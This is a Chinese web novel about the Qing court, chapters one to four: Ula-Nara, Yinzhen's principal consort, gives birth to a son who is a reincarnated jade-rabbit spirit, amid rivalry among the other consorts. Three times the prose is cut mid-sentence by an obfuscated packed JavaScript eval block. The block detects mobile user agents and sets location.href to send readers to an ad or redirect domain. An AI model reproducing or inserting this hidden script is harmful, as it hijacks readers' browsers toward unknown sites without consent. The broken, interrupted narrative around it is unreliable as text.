《清穿之团宠小玉兔》 1. 第 1 章 康熙五十二年,春。 四月初的天儿,春意盎然,花红柳绿。 京城雍亲王府的正院内,丫鬟和小太监们,按部就班的忙活着自己的差事,正院屋子里的雕花木窗,全都开着通风。 暖融融的阳光,更是尽情的透过窗子照射进来,衬得屋子里亮堂,空气也格外清新,微风徐徐吹过,将院子里花草的清香味,也送进了屋子里来。 正厅的紫檀木雕荷花纹小榻上,坐着一个身穿浅紫色绣如意云纹杭缎旗装的女子。 那女子低垂着眉眼,手里拿着针线,正聚精会神的绣着一件给小娃娃穿的衣衫。 少顷,一个穿青色衣裳的丫鬟走过来,将一碗燕窝,放在了紫檀木炕桌上,将空了的红木托盘抱在怀里,抬眼对那女子说道:“福晋,歇一歇吧。” 做针线的女子,正是雍亲王胤禛的嫡福晋——乌拉那拉氏。 乌拉那拉氏闻言,嘴角露出一抹笑意,“就剩两针了。” 乌拉那拉氏嘴上说着话,手上的动作却没停,只见那根绣花针似银鱼一般,在布料上窜来窜去,这衣衫便做好了。 乌拉那拉氏将手上做好的衣衫拎起来展开,正面反面仔仔细细的瞧了一圈,方才露出满意的笑容来,唤道:“流萤,把这件衣衫,同我以前做好的放一起。” 一个穿橘色衣裳的丫鬟,走过来说道:“是,福晋。” 从乌拉那拉氏手里接过衣衫,流萤迈步进了内室,将衣衫放进黄花梨木柜子最下面的一层。 站在一旁的穿着青色衣裳的丫鬟,看向乌拉那拉氏,开口道:“福晋,您都做了不少衣衫了。” 乌拉那拉氏闻言,抬起手,抚上高高隆起的肚子,嘴角含笑,语气里满是温柔,“孩子长的快,多做些有备无患。” 话音落下,乌拉那拉氏端起了放在矮桌上的青花瓷缠枝纹碗,开始吃燕窝。 这燕窝放了一会儿,如今温乎着,吃着正好。 乌拉那拉氏还真有些饿了,不一会儿的功夫,一碗燕窝就见了底。 乌拉那拉氏将空碗放了回去,拿起帕子擦了擦嘴角,对着青色衣裳的丫鬟说道:“银烛,一会儿陪我到园子里走走。” 她这一胎,本是意外之喜。 自从弘晖夭折以后,她的肚子便没了动静,府里的其他女人,一个接一个的大了肚子,她这个嫡福晋的脸面,就不好看了。 乌拉那拉氏也以为自己不会再有孩子了,便听从了母家的建议,从乌拉那拉氏一族里,选了一个正值妙龄的庶女,带进了雍亲王府。 当晚,乌拉那拉氏身边的流萤,便去了前院书房,请胤禛去正院用晚膳。 福晋的面子,胤禛自然是要给的,遂抬步来了正院,只是迈进屋子,却不见乌拉那拉氏的人影,只瞧见一张生面孔,含羞带怯的站在饭桌旁,胤禛便明白了乌拉那拉氏的用意。 次日,胤禛收了这女子做格格,既然是乌拉那拉氏引荐的人,胤禛便还叫跟着乌拉那拉氏住。 不久,乌拉那拉格格有了身孕,乌拉那拉氏心里既高兴又难过。 高兴的是,等这孩子出世,她便可以养在膝下做依靠。 难过的是,这还是她第一次将女人,直接送到了胤禛面前。 只是乌拉那拉格格是个没福气的,十月怀胎,临盆时却难产,生了一天一夜才将孩子生出来,是一个小格格。 乌拉那拉氏想着小格格也不错,但天不遂人愿,小格格生下来才两个时辰,就没了气息。 而乌拉那拉格格,因为难产伤了根本,再无生育的可能。 乌拉那拉格格遭受双重的打击,竟一病不起。 乌拉那拉氏便让人收拾了一处院子,好让乌拉那拉格格住进去,安心养病,又让人拿着腰牌,去宫里请太医,来医治乌拉那拉格格。 只是乌拉那拉格格没了心气儿,精神一日不如一日,没过多久,就香消玉殒了。 乌拉那拉氏经此一事,打消了再给胤禛物色妾室的念头。 同时,乌拉那拉氏也想通了,无论是哪个侍妾有孩子,她都是孩子的嫡额娘,只当好这个雍亲王福晋便是了。 好在上天垂怜,让她又有了身孕。 这往后的日子,也有了好好过下去的希望。 银烛脆生生的应了一声,将乌拉那拉氏从回忆拉回了现实。 她有孕后,为了保险起见,隔三差五的便叫府医来把脉,如今快到临盆的日子了,府医嘱咐她多走动走动,这样到生产的时候,能顺利些,少受些罪。 乌拉那拉氏也是生育过的,自然明白女人临盆时的凶险,是以,月份大了以后,便每天都在院子里走一走。 今日天气不错,想必园子里的花都开了,她便想去园子里走走,赏赏花。 在小榻上休息片刻后,银烛便扶着乌拉那拉氏出门了。 太阳高高的挂在天上,温暖却不炎热,金黄色的光芒洒落在乌拉那拉氏与银烛身上,地上随之形成了两个人影。 因着乌拉那拉氏身子重,银烛便随着乌拉那拉氏的步子,慢悠悠的走着,离园子还有数步远,清香味已然扑面而来,沁人心脾。 胤禛之前曾吩咐总管高无奇,找花匠专门修整了园子,如今的园子,没有一处是闲置的空地,都种植了不同品种的花草,姹紫嫣红,很是好看。 走近了,乌拉那拉氏瞧见几只蝴蝶先是在空中盘旋,选好了花之后,转而快速飞进了那朵花的花蕊中采蜜。 瞧着眼前绚丽多彩的花,乌拉那拉氏的心情也跟着变好。 只是从正院一路走过来,乌拉那拉氏倒是有些累了,银烛便扶着乌拉那拉氏,到几步远的凉亭内休息。 忽而,天上漂浮的云层,挡住了半个太阳,照耀在地面上的金色光芒跟着少了一半。 不过一会儿的功夫,那云层逐渐嚣张起来,竟然将整个太阳完全遮蔽,金色的光芒,只能可怜兮兮的从云层的缝隙中露出些来。 没了暖阳,这园子里吹起来的风,便染了一丝凉意。 站在凉亭里的银烛,抬头望天,那云层完完全全的将太阳遮挡,连一点儿太阳的一点儿光边也看不见了。 怕是要变天了。 银烛在心中思忖过后,转身走到乌拉那拉氏身边,出声唤道:“福晋,咱们早些回去吧。” 乌拉那拉氏点头道:“也好。” 今日她走了这些路,便差不多了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143123|164578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>银锭扶着乌拉那拉氏站起来,又仔细挽着乌拉那拉氏下了台阶,走出凉亭没两步远,乌拉那拉氏忽而停了脚步,捂住了高高隆起的肚子。 乌拉那拉氏这一举动,可将身旁的银锭吓得不轻,眼睫扑闪着,慌了神儿,一颗心提到了嗓子眼儿,连说话都带着颤音,“福晋,您怎么了。” 乌拉那拉氏满眼慈爱的揉了揉肚子,脸上露出了温柔的笑,“这孩子又踢我了,力气真大。” 身旁的银烛闻言,长舒一口气,那颗砰砰直跳的心,才安稳的放进了肚子里,还好是虚惊一场。 福晋和未出世的小主子若是出了事,她可是担待不起的。 旋即,银烛的脸上露出灿烂的笑,“想必是您肚子里的小阿哥知晓要回去了,不依您呢。” 乌拉那拉氏闻此言,扬起的嘴角绷直,那盛满温柔的眼神,看向身旁的银烛时,变得犀利。 银烛脸上的笑容一僵,慌忙的低下眉眼,改口道:“福晋恕罪,奴婢失言了。” 乌拉那拉氏缓缓将视线从银烛身上收回来,望向前方的路,淡声道:“走吧。” 她这肚子里的孩子,是男是女尚未可知,身边的心腹丫鬟便一口一个“小阿哥”叫着,一旦传扬出去,他日临盆,若真是小阿哥倒也罢了,可若不是,岂非打了自己的脸面,让胤禛失望,也让其余人看了笑话。 银烛懊恼自己嘴快说错了话,扶着乌拉那拉氏回正院的路上,抿着嘴,再也没敢说话了。 暮色四合,正院的小太监高高举起点燃的红灯笼挂在屋檐下,屋子里的烛台上也燃起了烛火。 天上没有皎洁的明月,只有零碎的星散落在无边无际的墨色中,显得孤寂了些。 屋子里,乌拉那拉氏坐在紫檀木八仙桌旁,正准备用晚膳,便见一个高大的身影出现在门框上,笼罩下来一片阴影。 乌拉那拉氏抬眼看清了来人,正欲起身行礼,便见胤禛大步走过来扶住乌拉那拉氏说道:“福晋不必多礼。” 随即,胤禛掀开衣袍一角,坐在了乌拉那拉氏身旁。 流萤拿着一副碗筷走过来,放在了胤禛面前。 胤禛的视线从乌拉那拉氏的脸上下移,落在了那高高隆起的肚子上,转而问道:“福晋今日可好?” 乌拉那拉氏抚摸了一下肚子,点头道:“好。” 短暂的聊天结束,接下来只听得碗筷碰撞的人声音来。 一旁站着的银烛与流萤,对于这种安静又带着几分冷淡的氛围,已然习以为常了。 一顿晚膳很快吃完,乌拉那拉氏拿着帕子擦拭嘴角,胤禛则捧着一盏茶慢品。 银烛与流萤上前来,开始收拾八仙桌上的碗碟,乌拉那拉氏与胤禛便移到了小榻上坐着。 一盏茶过后,乌拉那拉氏透过雕花木窗,望了一眼漆黑的天,随即收回视线,对着身旁的银烛吩咐道:“夜深了,提一盏灯笼来,给爷照明。” 对于乌拉那拉氏的吩咐,银烛不敢耽误,麻溜的去了。 而坐在对面的胤禛,脸上依然平静,看不出情绪来,只缓缓起身的看向乌拉那拉氏,言道:“福晋也早些安寝吧。” 话音落下,胤禛大步流星的离开了屋子。 2. 第 2 章 夜深人静,甬道上胤禛与苏培盛的脚步声便格外显眼。 少顷,胤禛停了脚下的步子,提着灯笼走在一侧的苏培盛,也赶忙止了步子,眼睛向前一望,便明白了。 那是年侧福晋的潇湘阁。 只是胤禛的心思难测,苏培盛静静地侯着,一句话也没说。 而胤禛望着潇湘阁犹豫了一番后,还是抬起步子走了过去。 苏培盛见状,连忙跟了上去。 跨过垂花门,进了潇湘阁的院子,年侧福晋的心腹丫鬟梨云,快步从屋子里走出来,行至胤禛面前,福身道:“主子爷,侧福晋服了药,已然睡下了。” 胤禛闻言,一双黑眸望向了烛火通明的屋子,顿了片刻,还是抬步走了进去,苏培盛便在外面侯着,梨云则不紧不慢的跟在胤禛身后。 胤禛径直往内室去,只是脚下的步子放轻了许多,撩开淡蓝色的帐幔,映入眼帘的是一张清瘦白皙的脸。 胤禛的眸子里划过一丝心疼与怜爱,随即将帐幔放下,又轻手轻脚的走了出去。 梨云在外间侯着,见胤禛出来,转而又福身行礼。 胤禛丢下一句:“好好照顾侧福晋。” 话音落下,便抬步离开了。 出了潇湘阁,苏培盛边提着灯笼,边说道:“爷,前面就是李侧福晋的碧波苑了。” 今晚爷先是在福晋那里碰了壁,又在年侧福晋这里吃了闭门羹,心情定然不好,这李侧福晋对爷那可是一百个上心,说不定去了碧波苑,爷的心情就由阴转晴了。 胤禛什么都没说,但脚下的步子却径直略过了碧波苑,连半个眼神,一丝犹豫都没有。 苏培盛便知晓自己多嘴了。 胤禛哪个院子都没去,径直回了前院的书房。 在踏进书房门槛之前,胤禛吩咐道:“叫弘时来。” 苏培盛颔首道:“嗻。” 书房内,胤禛面无表情的坐在书案后面的紫檀木圈椅上,手里拿着一本书。 而九岁的弘时站立在书案前,两只手垂在身侧,磕磕巴巴的背着胤禛抽查的文章。 这文章篇幅不长,只有三段。 文章的第一段,弘时结结巴巴的背着,胤禛便忍下了心中的愠气。 可到了文章的第二段,一句话弘时便重复了两三遍,甚至还一个字一个字的往外蹦。 胤禛便再没了耐心。 “啪”的一声,胤禛将书重重的丢回了书案上。 弘时背书的声音戛然而止,低垂着头,垂在身侧的两只手,局促的捏着衣角。 胤禛看着眼前的弘时,面色阴沉,声音含着愠气:“这篇文章你师傅昨日刚讲过,还夸你背的流利,将将过了一日,便混忘了。” 面对胤禛的质问,弘时怯生生的回答:“今日师傅又讲了新的文章,儿子一直在背诵新文章,就……” 胤禛依旧黑着一张脸,训斥道:“温故知新,你却连‘温故’都做不到。” 弘时揉搓着衣角,委屈巴巴又可怜兮兮道:“儿子,儿子知错了。” 胤禛见状,感觉自己是一拳打在了棉花上,叹了口气,言道:“从头背过。” 弘时闻言,仔细回想文章的开头,随后又怯怯的开了口。 与此同时,屋外起了风,刚开始沙沙作响,渐渐的,风变得猛烈,吹得屋檐下的灯笼左右摇摆,而天上的几颗零碎的星星,也消失不见。 不知何时,那漂浮的云层变成了乌云,黑沉沉的压下来。 接着,遥远的天边,惊现一道银白色的闪电。 那银白色的闪电宛如一支利刃,划破漆黑静寂的夜晚,须臾间,闪电隐入了墨色中,消失不见。 而此时,轰隆隆的一道雷声闪现,犹如巨兽嘶吼,震耳欲聋。 下一瞬,两道银白色的闪电,再次在天边乍现,刹那间,夜晚亮如白昼。 这闪电,似是在为那滚滚的雷声助威。 而正在努力背书的弘时,忽听得这震耳欲聋的雷声,吓得大叫一声,转而抬起两只手,捂住自己的脑袋和耳朵。 坐在书案前的胤禛见状,眉头蹙起,刚缓和的脸色又沉了下来。 雷声停了,弘时的心也平复下来,松开了抱着脑袋的两只手,可瞧见胤禛那张阴沉的脸,弘时突然觉得,刚才的雷声好似也没有那般吓人了。 只是,他刚刚确实被吓到了。 现在,他也记不得背到文章的哪一句了。 胤禛的眼睛里满是愠色,质问道:“你已经九岁了,打雷而已,至于吓成这般模样?” 天资不佳,背书不成,竟连胆色也没有。 弘时闻言,抿着嘴唇,低下了头,两只手又开始揉搓衣角。 屋子里陷入沉寂,而此时的外面,却响起了噼里啪啦的声音,应是下起了雨,雨点打在屋顶和地面发出的声音。 门“嘎吱”一声被推开,苏培盛走了进来。 因着开门的一瞬间,风灌了进来,那书案上烛台里的火焰摇曳起来。 苏培盛行至书案前,余光瞥见了怯生生的弘时,转而看着阴沉着脸的胤禛,出声禀道:“爷,正院传来消息,说是福晋胎动要生了。” 胤禛阴沉的脸,多了几分诧异之色。 这么突然,福晋就要生了! 窗外的雨声变得急促,胤禛也再没了教育弘时的心思,嘱咐了两句,便叫弘时出去了。 这厢弘时出了书房,一张垮着的小脸缓和了许多,还好嫡额娘要生了,牵绊住了阿玛,不然他今夜估计睡不了觉了。 小小的弘时长叹一口气,随即被打伞的小太监护着,回了自己的屋子。 苏培盛则给胤禛打着伞,赶去正院里。 胤禛迈进屋子,只见丫鬟们端着铜盆进进出出,前脚刚坐在了紫檀木椅子上,后脚便听见隔扇门里传来的的惨叫声。 胤禛心头一紧。 这些年,他有过不少孩子,但大多数都夭折了,还有的便是在母体中小产,如今膝下成活的孩子,只有三子一女。 长子弘时资质平庸,难成大器,而弘历和弘昼太过年幼,还看不出来什么。 只是他三个儿子,在一众皇子中,已经算少的了。 有道是:多子多福。 开枝散叶对于皇家来说,更为重要。 而偏偏他在子嗣上,太过艰难,所以福晋这一胎,不能再有意外了。 这时,苏培盛捧着一盏茶过来,喊道:“爷,喝口茶吧。” 胤禛思绪回笼,淡声道:“放那吧。” 他心里头正烦闷,哪里有喝茶的心思。 内室中,拔步床上,乌拉那拉氏的额头,渗出了一层细细的汗珠,因为下/身的疼痛,乌拉那拉氏的两只手,紧紧地攥着身上盖着的锦被。 站在床头的流萤,手里拿着帕子,小心翼翼的为乌拉那拉氏擦拭额头的汗珠。 站在床尾的银烛,则指挥着丫鬟们端热水和换洗帕子。 不知过了多久,小玉兔在乌拉那拉氏的肚子里醒来。 小玉兔很是好奇,这是哪里? 他记得他原来是在森林里散步,突然被一道天雷击中,然后就昏睡过去了。 哦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143124|164578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小玉兔想起来了。 他听玉兔精一族里的长辈说起过,天雷与平常的打雷不同,甚是罕见,若是能被天雷击中,而且平安无恙,便是历劫成功,可以飞升成神。 那么,他被天雷击中,现在又平安无恙,是不是说明他历劫成功,飞升成神了呢? 可是,这里也不像是天界啊。 就在小玉兔疑惑不解的时候,突然有一道强光照射进来,小玉兔下意识的眯了眯眼。 “加把劲啊,福晋。” “快了,就快出来了。” 小玉兔听到外面有人说话,是一个女人的声音。 难道是天界的人? 小玉兔思忖间,外面再次传来女人的声音,话语里似乎带着几分激动:“用力啊,再用把力!” 这是在跟他说话吗? 小玉兔将信将疑,可就在这时,小玉兔听到了另一个女子的惨叫声。 小玉兔还没有来得及搞清楚,那个惨叫的女子发生了什么事,就被一股神秘的力量推着向前。 难道是天界的人在帮他? 是不是他出去了,就意味着飞升成功了? 小玉兔想不明白,索性不想了,这个地方有些狭窄,他还是先出去,离开这里再说吧。 小玉兔想明白以后,借着这股神秘的力量往外冲,只听得外面的女子传出雀跃的声音来:“生了,生了!” 小玉兔感觉到自己被那个说话的女子抱在怀里,心里正美着呢,他这是飞升成功了吧! 哎呦! 这天界的人真是太奇怪了,为他庆贺的方式竟然是——掐屁股! 许是他刚刚历劫成功,身体太过虚弱了,这掐屁股的一下,还真疼,他竟然大哭了起来。 而外间一直悬着心的胤禛,听到隔扇门里传来响亮的啼哭声时,一颗心安稳了下来。 生产完的乌拉那拉氏,身体十分虚弱,但还是强撑着一口气,看着接生姥姥将孩子放在襁褓里,抱到她身旁。 乌拉那拉氏看到孩子,疲惫的脸上露出了笑容,虚弱的喊道:“乖宝,额娘的乖宝。” 说话的同时,乌拉那拉氏用尽全身的力气,抬起手摸了摸孩子软绵绵的脸颊。 随即,乌拉那拉氏再没了力气,昏睡过去。 小玉兔更迷茫了,乖宝? 面前的女人是在喊他吗? 可是他不叫乖宝啊。 额娘又是什么? 不过小玉兔清楚的是,面前的女人对他没有敌意,看他的眼神甚至充满了温柔和爱意。 而且,刚刚女人伸手摸他的脸,他竟然会觉得好舒服,真是太奇怪了! 但是,那个女人怎么又睡着了? 她满脸都是汗水,看起来好像很疲惫的样子。 等等,她刚刚说话的声音好耳熟啊,对了,她就是那个发出惨叫的女人。 还不等小玉兔搞清楚状况,他又被人抱了起来,是一个笑呵呵的女人。 小玉兔想起来了,这个女人就是帮助他冲出来的女人。 小玉兔刚把两个女人分清楚,就又被怀里人,抱给了另一个陌生的男人。 “恭喜四爷,贺喜四爷,福晋生了一位小阿哥。” 女人的话,再次引起了小玉兔的好奇,可是他的眼皮好重啊,重的睁不开了。 随后,小玉兔阖上了眼睛。 而胤禛抱着襁褓里睡着的小娃娃,一向不喜形于色的他,脸上却露出了柔和的笑。 胤禛爽朗道:“赏。” 接生姥姥闻言,脸上的笑容更深了:“多谢四爷。” 3. 第 3 章 翌日清晨,乾清宫内。 坐在御案前批阅奏折的康熙,嘴角微扬,看起来心情大好。 原因便是自立春以来,老天只下过两场毛毛细雨,便没有再下,这对于庄稼人来说,可不是好事。 士农工商,农业可是国家的根本,没有雨水,作物无法生长,自然也就没有收成,长此以往,必然会有旱情。 康熙为了老天能早日降下甘霖,吩咐钦天监夜观星象,又命礼部准备祈雨仪式。 一切准备就绪后,康熙亲自到天坛进行祈雨仪式。 可祈雨仪式结束之后,并没有甘霖降下。 这便成了康熙的一桩心事。 就在昨晚,他在御案前批阅奏折的时候,忽听得一声惊雷,便起身出门查看,又见得天边闪现两道银白色的闪电。 果然没过多久,贵如油的春雨,终于来临了。 电闪雷鸣,雨越下越大,直到今日天都大亮了,雨才渐渐停歇。 有了这一场春雨,之前的难题便都迎刃而解了。 康熙龙心大悦,上天还是庇佑大清的。 这时,梁九功端着漆木托盘走过来,将一盏茶放在了御案上,出声道:“皇上,雍亲王府的人来报,说昨夜雍亲王福晋,诞下了一位小阿哥。” 昨晚? 康熙持狼毫笔的动作一顿,转而问道:“是昨晚何时?” 梁九功闻言,如实禀报:“雍亲王府的人说,昨夜一道惊雷闪现后,雍亲王福晋便胎动了,只是这甘霖降临之后,小阿哥才顺利诞生。” 女子生产,最快也要几个时辰,慢得话,一天一夜甚至更久都有。 这小阿哥竟然是与甘霖相伴而来,总归是个有福气的。 老四这些年也不容易,膝下的孩子一个接一个的夭亡,成活的就那么几个,不禁让他想起了早年间,他膝下的孩子,也是一个接一个的夭折,甚至有人拿这个当说辞,诅咒大清后继无人,是气数将尽,可现在怎么样,皇家子孙兴旺,大清更是在他的治理下蒸蒸日上。 而今,老四有了嫡子,也算是苦尽甘来了。 康熙思绪回笼,对着梁九功吩咐道:“去库房挑几件好的,送去雍亲王府,赐给雍亲王福晋和小阿哥。” 这也算是双喜临门了。 —— 雍亲王府内,大雨已停,可院子里到处都是落叶和花瓣,还有许多大大小小的积水。 负责洒扫的丫鬟和小太监们,拿着清洁的工具,划分好自己负责的部分,便开始打扫清理了。 这一觉,小玉兔睡了很久。 日上三竿了,连因为生产导致身体虚弱,从而昏睡的乌拉那拉氏都醒了,小玉兔还没有醒。 乌拉那拉氏腰后垫着织金软枕,脑袋靠着床头,将小小的孩子抱在怀里,却觉得不对劲。 刚出生的孩子,应该是急着吃奶补充力气才是,怎么会一直睡觉呢。 乌拉那拉氏心头生出一个不好的想法。 虽然下一瞬,乌拉那拉氏自己都否决了这个想法,但是看着熟睡的小人儿,乌拉那拉氏还是伸出一根手指,去探孩子的气息。 乌拉那拉氏松了一口气,还好,不是她想的那般。 实在是乌拉那拉格格,给她留下的印象太过深刻,她这才怕自己刚生下的孩子,会步那夭折小格格的后尘。 这时,银烛走过来禀报道:“福晋,李侧福晋、年侧福晋,还有其他的格格们,知晓了福晋平安诞下小阿哥的消息,都在院子里侯着,特意来给福晋道喜。” 李氏与年氏虽然同为侧福晋,可论家世、论才情、论宠爱,年氏都高于李氏。 但是,论资历、论子嗣,年氏却不如李氏。 是以,在府内,李侧福晋的地位,还是稍稍高于年侧福晋的。 所以,银烛禀报时,将李侧福晋放在了年侧福晋的前面。 道喜? 这些女人是真心也好,假意也罢,乌拉那拉氏现在没有心情见她们。 随即,乌拉那拉氏开口吩咐道:“就说我产后身子虚弱,不宜见客,拿银子包了红封分给她们,便让人都回去,别忘了把府医叫进来,就说我精神不济、身子乏力。” 孩子昏睡不醒的事情,绝不能传扬出去,是以,乌拉那拉氏只能以自己为借口,把府医叫进来给孩子瞧瞧。 银烛应声去办了。 而此时的太阳已然升得老高了,院子里的青石砖上,都散落着闪闪的金光。 李侧福晋与年侧福晋并排站在第一排,其余的格格们按照进府的顺序,依次站在两位侧福晋的身后。 年侧福晋身子虚弱,在院子里站了会儿功夫,便咳嗽了起来,忙用帕子掩住唇。 一旁的丫鬟桃夭见状,一只手扶着年侧福晋的胳膊,另一只手轻轻抚摸着年侧福晋的后背,给她顺气。 年侧福晋这才缓和了些。 桃夭见自家主子这般难受,一时心疼,便张嘴嘟囔起来,“福晋早就醒了,却不叫咱们进去,侧福晋身子本就不好,哪里禁得起在大太阳下面晒着。” 年侧福晋呼吸顺畅了些,便将帕子拿开了,看向身边的桃夭,训斥道:“不得无礼,怎能妄议福晋。” 而一旁的李侧福晋,在年侧福晋咳嗽时,注意力就放在了年侧福晋身上,竖起了耳朵,是以刚才主仆二人的对话,李侧福晋听得清清楚楚。 李侧福晋眼珠子转了转,嘴角一勾,便扭过头去,摆出一脸关切的模样,看着年侧福晋说道:“年妹妹,你身子不好,何必亲自过来,差个丫鬟来道喜也是一样的,福晋一向大度,自然不会与你计较,你若是在太阳底下晒出病了,岂非是福晋的罪过了。” 李侧福晋说完,眼珠子毫不遮掩的将年侧福晋,从头到脚打量了一遍。 年氏虽然年轻貌美,但如今有病在身,一张巴掌大小的脸,虽然妆化的精致,但难掩憔悴之色,脸色红润,也是胭脂的功劳,整个人薄薄的一片,好似一阵风就能吹走似的。 这样的年氏,这样孱弱的身子骨,怕是再难诞下子嗣了。 纵使家世比她出众,又能有几天受宠的日子呢。 年侧福晋闻言,嘴角一勾。 李侧福晋的话,表面上听着是为了她好,实际上却是故意挑拨她与福晋的关系。 自她入雍亲王府以来,便知福晋乌拉那拉氏端庄贤惠,福晋又念她年纪小,对她多有照拂。 如今,福晋平安诞下小阿哥,是整个雍亲王府的喜事,她若不来,只推个丫鬟出来,落在别人眼里,便是恃宠生娇,不尊福晋,传扬出去,更是会连累胤禛的名声。 可是,她现在来了,李侧福晋才说这些关心的话,假仁假义的,目的便是让她对福晋生出恨意。 身子病弱是她自己的事,给福晋道喜是情理之中的事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143125|164578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大家伙都能在太阳底下站着,她也能坚持。 况且,这也没等多久。 年侧福晋敛下心中所想,看向李侧福晋,嘴角扬起一抹微笑:“李姐姐,你既然知晓我身子不好,便少与我说话,你说了,我不应你,显得我目中无人,我应了你,费精神费口舌,又吸了凉气进嗓子里,若是病情加重,那是谁的责任呢?” 年侧福晋一口气说了太长的话,正如她自己所说,嘴巴一张一合间,凉气吸进了嗓子里,又开始咳嗽起来。 李侧福晋被年侧福晋说的哑口无言,又见年侧福晋咳嗽的厉害,知晓胤禛的心里,如今还怜惜着年侧福晋,生怕自己被牵扯进去,连忙扭了过去,不再与年侧福晋说话。 后面站着的格格们,目睹了两位侧福晋的你来我往的“斗法”,谁也没有吭声,生怕引火烧身。 就在此时,门“嘎吱”一声响,银烛端着漆木托盘走了出来,那漆木托盘里放了一摞红封,银烛先是转述了乌拉那拉氏的话,随后依次将红封发了下去。 有银子拿,院子里的人个个脸上都带着喜色,说了几句恭维话之后,便都各自回去了。 离开正院,还不等回到碧波苑,李侧福晋见四下无人,就迫不及待拆了红封,里面是一张面额二十两的银票。 李侧福晋将银票揣在怀里,嘴角一扬,说出来的话却满是讥讽:“福晋真是大手笔,这般年纪还能生子,真真是好福气。” 而年侧福晋回了潇湘阁坐下,丫鬟梨云端来一碗有助于缓解咳嗽的红枣银耳汤。 这汤放了一盏茶的时间,如今侧福晋喝着,应当正好。 一碗银耳红枣汤下肚,年侧福晋觉得嗓子和脾胃都好多了,拿着帕子擦了唇,方才抬眼问桃夭:“你可知在正院,李侧福晋为何突然与我说话?” 梨云没有跟着年侧福晋出门,所以并不知道发生了什么。 不过,看年侧福晋的样子,应该是桃夭说错或者做错了什么。 桃夭认错道:“回侧福晋的话,奴婢不该多嘴,说了些不该说的话。” 年侧福晋闻言,语重心长的嘱咐道:“知道便好,有道是:说者无心,听着有意。日后只要是出了潇湘阁,说话便要注意分寸。” 桃夭与梨云连连应声。 她们从小便被年老爷夫妇安排伺候小姐,小姐嫁了人,她们两个便跟着陪嫁过来,是年侧福晋的心腹丫鬟。 是以,一言一行,落在别人眼里,便代表着主子的意思。 —— 正院内。 府医柳从南拎着药箱进了正院,乌拉那拉氏便开门见山说了原委,随后,柳从南便开始给襁褓里的小婴儿检查身体。 柳从南原来是一个云游四方的江湖郎中,见多识广,医术高明,因为向往自由,所以才不愿当一名坐堂郎中。 有一次,康熙派胤禛到江浙一带办差,偶遇了柳从南。 那时的柳从南,因为揭穿了一个当地显赫的药商以次充好,将假药混入真药中来蒙骗百姓的真相,而惹来杀身之祸,是胤禛出手相救,并且将那坑蒙拐骗的药商,绳之以法。 胤禛对柳从南有救命之恩,二人细聊之后,脾性相投,柳从南便决定追随胤禛。 自此,柳从南便成了府上的府医。 乌拉那拉氏见柳从南给孩子检查完了身体,便急切问道:“柳大夫,这孩子昏睡不醒是为何?” 4. 第 4 章 柳从南理解乌拉那拉氏的心情,缓缓道:“禀福晋,小阿哥身体康健,并无不妥之处。” 乌拉那拉氏闻言,看向了襁褓里一动不动的孩子。 既然没有问题,那她的孩子为何从昨晚开始,就一直昏睡着,如今两个大人说话的声音这么大,竟然都吵不醒他。 乌拉那拉氏一时心疼,眼睛蒙上了一层氤氲,喃喃道:“那为何会昏睡不醒?” 柳从南见状,将自己的看法娓娓道来:“福晋,奴才之前云游四方,见过不少疑难杂症,可是像小阿哥这种情况的,还是头一次见,不过,天下之大,本就无奇不有,奴才以为每个孩子都有其独特之处,有的孩子生下来不用掐屁股,落地就会哭,而有的孩子生出来便知饥饿,所以奴才斗胆认为,小阿哥生下来便昏睡,或许是因为他的身体里缺少睡眠,等小阿哥睡够了,养足了精神,应当就会醒了。” 乌拉那拉氏听完,觉得有些道理,眸子里又重新焕发出光彩来,试探问道:“柳大夫,若依你所言,这孩子睡多久才会养足精神?一个时辰?一天?还是一个月?” 问到最后,乌拉那拉氏自己都没了底气,眉宇间又浮现出担忧的神色来。 这孩子生下来没吃没喝,一直昏睡怎么能成? 若是胤禛下了值,定然会过来看孩子。 要是胤禛回来,这孩子还昏睡不醒,胤禛会怎么想?又会怎么看待这个孩子? 乌拉那拉氏是越想越愁,这孩子明明在她肚子里时挺活泼的,动不动就踢她,怎么一生下来却…… 乌拉那拉氏还真的将柳从南问住了,毕竟他所说的话,只是他自己的想法和猜测,并没有依据,是以,柳从南迟疑的开口:“这……奴才不敢妄下结论。” 若是他给乌拉那拉氏打了包票,届时小阿哥还是未醒,砸了自己的招牌倒是小事。 重要的是,给了一个母亲希望,又让她失望,那么便会使她陷入绝望之中,到时候,乌拉那拉氏会比现在痛苦一百倍。 那他,更是成了罪人了。 乌拉那拉氏闻此言,亮起来的眸子又蒙上了一片黯淡之色。 片刻后,乌拉那拉氏叹了口气,出声道:“银烛,送柳大夫出去吧。” 她又何必为难旁人呢。 